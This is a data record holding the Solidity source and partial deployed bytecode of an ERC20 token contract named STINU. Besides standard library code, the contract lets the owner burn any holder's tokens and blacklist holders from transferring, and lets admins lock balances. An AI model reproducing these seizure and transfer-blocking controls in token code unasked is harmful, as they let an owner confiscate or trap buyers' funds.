b0029
{"success": true, "error": null, "results": {}}
5,094
0xbdf30bf025ca397503ed3f3d5993dcaf43ad8dd1
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract STINU is Context, IERC20 { using SafeMath for uint256; using Address for address; struct lockDetail{ uint256 amountToken; uint256 lockUntil; } mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => bool) private _isAdmin; mapping (address => lockDetail) private _lockInfo; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil); constructor (string memory name, string memory symbol, uint256 amount) { _name = name; _symbol = symbol; _setupDecimals(18); address msgSender = _msgSender(); _owner = msgSender; _isAdmin[msgSender] = true; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function isAdmin(address account) public view returns (bool) { return _isAdmin[account]; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function promoteAdmin(address newAdmin) public virtual onlyOwner { require(_isAdmin[newAdmin] == false, "Ownable: address is already admin"); require(newAdmin != address(0), "Ownable: new admin is the zero address"); _isAdmin[newAdmin] = true; } function demoteAdmin(address oldAdmin) public virtual onlyOwner { require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin"); require(oldAdmin != address(0), "Ownable: old admin is the zero address"); _isAdmin[oldAdmin] = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isBlackList(address account) public view returns (bool) { return _blacklist[account]; } function getLockInfo(address account) public view returns (uint256, uint256) { lockDetail storage sys = _lockInfo[account]; if(block.timestamp > sys.lockUntil){ return (0,0); }else{ return ( sys.amountToken, sys.lockUntil ); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) { _transfer(_msgSender(), recipient, amount); _wantLock(recipient, amount, lockUntil); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){ _wantLock(targetaddress, amount, lockUntil); return true; } function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){ _wantUnlock(targetaddress); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantblacklist(targetaddress); return true; } function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantunblacklist(targetaddress); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { lockDetail storage sys = _lockInfo[sender]; require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address "); _beforeTokenTransfer(sender, recipient, amount); if(sys.amountToken > 0){ if(block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); }else{ uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance"); _balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].add(sys.amountToken); _balances[recipient] = _balances[recipient].add(amount); } }else{ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances"); if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; } sys.lockUntil = unlockDate; sys.amountToken = sys.amountToken.add(amountLock); emit LockUntil(account, sys.amountToken, unlockDate); } function _wantUnlock(address account) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); sys.lockUntil = 0; sys.amountToken = 0; emit LockUntil(account, 0, 0); } function _wantblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == false, "ERC20: Address already in blacklist"); _blacklist[account] = true; emit PutToBlacklist(account, true); } function _wantunblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == true, "ERC20: Address not blacklisted"); _blacklist[account] = false; emit PutToBlacklist(account, false); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff